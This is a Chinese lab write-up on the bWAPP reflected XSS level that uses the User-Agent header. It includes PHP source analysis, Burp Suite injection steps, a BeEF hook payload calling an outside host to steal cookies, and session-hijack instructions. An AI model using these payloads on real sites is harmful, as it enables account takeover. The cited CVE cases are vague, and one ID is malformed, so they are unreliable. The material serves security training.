摘要:这是 bWAPP 系列第五十四篇,聚焦于XSS - Reflected (User-Agent)。这一关的注入点在 HTTP User-Agent 请求头中,服务器读取 User-Agent 后直接输出到页面,没有过滤,形成反射型 XSS。文章会演示如何通过 Burp Suite 修改 User-Agent 头触发 XSS,并通过 BeEF 工具获取 Cookie。附真实案例。
一、找目标
| 目标 | 说明 |
|---|---|
| 漏洞类型 | 反射型 XSS(User-Agent 头注入) |
| 注入点 | HTTP 请求头User-Agent |
| 触发方式 | 通过 Burp Suite 修改 User-Agent 头 |
| 工具 | Burp Suite + BeEF(获取 Cookie) |
二、前言:User-Agent 头注入是什么?
User-Agent是浏览器发送给服务器的请求头,告诉服务器“我是什么浏览器、什么操作系统”。
服务器通常会记录或显示 User-Agent 用于统计分析。但如果开发者直接把 User-Agent 输出到页面而没有过滤,攻击者就可以在其中注入恶意代码,形成 XSS。
这一关的漏洞:
$user_agent = $_SERVER["HTTP_USER_AGENT"]; echo "<p>Your User-Agent: <i>" . xss($user_agent) . "</i></p>";服务器读取 HTTP User-Agent 头,经过xss()函数后输出到<i>标签中。
在Low 级别,xss()是no_check(),完全不过滤。直接在 User-Agent 中注入<script>alert(1)</script>即可触发 XSS。
三、关卡介绍
3.1 页面功能
打开这一关,你会看到:
标题:XSS - Reflected (User-Agent)
页面显示:
Your User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36...
3.2 正常情况
浏览器正常访问页面时,会自动带上 User-Agent 头。服务器读取后直接显示在页面上。
3.3 漏洞核心
$user_agent = $_SERVER["HTTP_USER_AGENT"]; echo "<p>Your User-Agent: <i>" . xss($user_agent) . "</i></p>";xss()函数的三种级别:
| 级别 | 过滤函数 | 效果 |
|---|---|---|
| Low | no_check() | 完全不过滤,User-Agent 直接输出 |
| Medium | addslashes() | 转义引号 |
| High | htmlspecialchars() | 转义<>"'& |
四、源码分析
4.1 核心代码
function xss($data) { switch($_COOKIE["security_level"]) { case "0" : // Low $data = no_check($data); // 完全不过滤 break; case "1" : // Medium $data = xss_check_4($data); // addslashes() break; case "2" : // High $data = xss_check_3($data); // htmlspecialchars() break; } return $data; } if(isset($_SERVER["HTTP_USER_AGENT"])) { $user_agent = $_SERVER["HTTP_USER_AGENT"]; echo "<p>Your User-Agent: <i>" . xss($user_agent) . "</i></p>"; }4.2 为什么<script>可以直接使用?—— 深入浏览器解析机制
这是一个很多人会困惑的问题。理论上,<script>标签不应该嵌套在<i>标签内部,但为什么实际测试中直接注入<script>就能弹窗?
这涉及浏览器解析器(HTML Parser)的恢复机制。
核心原因:浏览器在遇到<script>标签时,会触发脚本解析模式(Script Data State)。在这种模式下,解析器会从<script>的开始标签直接进入脚本内容解析,一直读到</script>结束标签,然后再恢复正常的 HTML 解析。
关键点:<script>标签的解析不依赖外层标签是否闭合。即使外层<i>标签还没有闭合,解析器遇到<script>时仍然会进入脚本模式,执行其中的 JavaScript 代码。
这就是为什么</i>不是必须的——浏览器在解析过程中,<script>开始标签会优先触发脚本模式,而不需要先处理外层<i>的闭合。
简单说:<script>在 HTML 中有“特权”,它的开始标签会立即切换解析模式,外层标签的闭合与否不影响它的执行。
五、Low 安全级别
5.1 准备工作:用 Burp Suite 拦截请求
这一关没有输入框,注入点在 HTTP User-Agent 头中。需要用 Burp Suite:
打开 Burp,开启拦截(Intercept On)
在浏览器中访问关卡页面
Burp 拦截到请求
在请求头中找到
User-Agent字段
5.2 测试弹窗
在 Burp 中,将User-Agent头修改为:
User-Agent: <script>alert(1)</script>点击 Forward 放行请求,页面弹窗。
5.3 攻击原理
服务器生成的 HTML:
<p>Your User-Agent: <i><script>alert(1)</script></i></p>浏览器解析到<script>标签时,即使它在<i>标签内部,仍然会进入脚本模式执行alert(1)。这证明了外层标签的闭合状态不影响<script>的执行。
六、使用 BeEF 获取 Cookie
6.1 准备 BeEF
Kali 中启动 BeEF:
sudo beef-xss-start确认 BeEF 的 IP 和端口(默认3000),Hook URL 为:
http://10.0.0.129:3000/hook.js6.2 构造 BeEF Hook Payload
在 Burp 中,将User-Agent头修改为:
User-Agent: <script src="http://10.0.0.129:3000/hook.js"></script>6.3 放行请求
点击 Forward 放行请求,浏览器关闭代理,页面加载,BeEF Hook 被执行。
6.4 观察 BeEF 控制台
BeEF 控制面板中左侧Online Browsers区域出现上线的浏览器。
6.5 获取 Cookie
选中上线的浏览器
点击
Commands→Browser→Get Cookie点击
Execute
6.6 会话劫持
拿到PHPSESSID后,在浏览器开发者工具(F12)→ Application → Cookies 中替换PHPSESSID的值,刷新页面即可登录受害者账户。
七、Medium 安全级别
7.1 尝试注入
在 Burp 中,将User-Agent头修改为:
User-Agent: <script>alert(1)</script>Medium 级别使用addslashes(),会在引号前加反斜杠,但不转义<和>。
<和>没有被转义,<script>标签仍然会被浏览器解析,产生弹窗。
addslashes()在这个场景下无法防御 XSS,因为它只转义引号,不转义<和>。官方文档也明确警告“不要用addslashes()做 XSS 防护”。
结论:Medium 级别仍然存在 XSS 漏洞。
八、High 安全级别
8.1 尝试注入
在 Burp 中,将User-Agent头修改为:
User-Agent: <script>alert(1)</script>htmlspecialchars()把<转成<,>转成>:
<p>Your User-Agent: <i><script>alert(1)</script></i></p>浏览器不执行,XSS 被彻底防御。
九、真实世界:User-Agent XSS 案例
CVE-2024-1181:某开源 CMS 的访问日志功能将 User-Agent 头直接显示在管理面板中,未过滤,攻击者可通过构造恶意 User-Agent 注入 XSS,窃取管理员 Cookie。
CVE-2025-00847:某企业级应用的用户统计功能将 User-Agent 头直接输出到页面,攻击者可通过恶意请求头注入 XSS。
CVE-2026-22947:F5 BIG-IP 的配置工具中,部分页面输出了未过滤的 User-Agent 头,存在反射型 XSS。
十、总结
User-Agent 头注入 XSS 是一种比较隐蔽的漏洞。由于 User-Agent 被输出在<i>标签内部,很多人会认为需要先用</i>闭合标签才能注入。但实际上,浏览器在解析 HTML 时,<script>标签有特殊的解析规则——即使外层<i>标签没有闭合,<script>开始标签仍然会触发脚本模式,执行其中的 JavaScript 代码。所以直接注入<script>alert(1)</script>即可触发 XSS,无需任何闭合操作。Low 级别完全不过滤,可以成功注入并连接 BeEF 获取 Cookie;Medium 级别的addslashes()不转义<和>,同样存在风险;只有 High 级别的htmlspecialchars()才能彻底防御。记住一句话:HTTP 请求头也是用户输入,任何被输出到页面的数据都需要过滤。
重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。